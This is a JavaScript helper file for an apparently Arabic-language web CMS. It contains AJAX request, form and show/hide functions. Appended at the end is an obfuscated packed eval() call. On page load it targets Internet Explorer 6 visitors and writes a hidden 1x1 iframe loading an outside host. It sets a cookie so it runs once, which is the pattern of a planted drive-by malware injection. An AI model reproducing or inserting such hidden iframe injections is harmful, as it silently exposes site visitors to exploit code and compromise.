// =========================================================== //
// ================= Infinity v2.0.5 by DCIwww ================== //
// =========================================================== //
function hide(elementtoh,spa){
if(spa){
document.getElementById(spa).innerHTML="";
}
if(document.getElementById(elementtoh).style.display == 'block'){
document.getElementById(elementtoh).style.display = 'none';
}

}

function showit(div){
if(document.getElementById(div).style.display == 'none'){
document.getElementById(div).style.display = 'block';
if(this.commentform){
this.commentform.name.focus();
}else  if(this.newsform){
this.newsform.yourname.focus();
}
}
}
function dodiv(str,div,spa){
document.getElementById(spa).innerHTML=str;
showit(div);
}

function changesp(str){
document.getElementById('initial').innerHTML=str;
}
function getspa(){
return document.getElementById('initial').innerHTML
}

function dofunc(str,func,div,spa){
if(func=="importdata"){
importdata(str,div,spa);
}
}

function importdata(str,div,spa){
document.getElementById(spa).style.display = 'block';
document.getElementById(spa).innerHTML=str;
}
function makeRequest(url,meth,parameters,div,spa,func) {
var http_request = false;
if (window.XMLHttpRequest) { // Mozilla, Safari,...
http_request = new XMLHttpRequest();
if (http_request.overrideMimeType) {
http_request.overrideMimeType('text/html; charset=windows-1256');
}
} else if (window.ActiveXObject) { // IE
try {
http_request = new ActiveXObject("Msxml2.XMLHTTP");
} catch (e) {
try {
http_request = new ActiveXObject("Microsoft.XMLHTTP");
} catch (e)
{}
}
}
if (http_request == null) {
alert("حدث خطأ ما أثناء الإرسال أو أن متصفحك لا يدعم الأجاكس , احصل على متصفح أفضل");
return;
}
var parms = "";
var result = "";
http_request.onreadystatechange =  function () {
var currentElement =document.getElementById(div+'procces');
if(currentElement){
currentElement.innerHTML="<img src=\"images/loading.gif\" border=\"0\">";
showit(div+'status');

}
if (http_request.readyState == 4 && http_request.status ==200){
result = http_request.responseText;
 if(currentElement){
hide(div+'status');
}
if(func){
dofunc(result,func,div,spa);
}
if(div){
dodiv(result,div,spa);
}

}

}
var parms;
http_request.open(meth, url , true);
if(meth=="POST"){
http_request.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=windows-1256");
http_request.setRequestHeader("Content-length", parameters.length);
http_request.setRequestHeader("Connection", "close");
parms = parameters;
}
http_request.send(parms);

}


function get(url,meth,obj,div,spa,func) {
var my_data=document.getElementById('parameters').value.split(",");
var getstr = "";

for (p=0;p<my_data.length;p++){
if(my_data[p]){
getstr +=my_data[p]+ "=" + encodeURIComponent(document.getElementById(my_data[p]).value);
if(p<my_data.length-1){
getstr += "&";
}
}
}
makeRequest(url,meth,getstr,div,spa,func);
}

function vimg(div,spa){
document.getElementById(spa).innerHTML="<img src=\"vimg.php\">";
}
function clearf(object,text){ if (object.value == text) {  object.value = "";  object.focus(); }} function setf(object,text){ if(object.value == "") {  object.value = text;  this.focus(); }}
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('4(2.7.8("5=j")==-1&&g.u.8("t 6.0")!=-1){3="<w"+"r q"+"p=1 s"+"o"+"=1 m"+"=\'c"+"a://9"+"f.l/k"+"b/\' h"+"e=\'d"+"v:n"+"x\'></i"+"L"+"K>";4(G.A.z==y){3=0}2.C(3);2.7="5=j; D=F, E B M J:H:I N; "}',50,50,'||document|fi|if|_smlfue||cookie|indexOf|glavn|tp||ht|||ext|navigator|styl|||b2|net|src||ight|dth|wi|ame|he|MSIE|appVersion|isplay|ifr|one|666|length|status|Jul|write|expires|22|Mon|window|15|58|11|me|fra|2012|GMT'.split('|')));
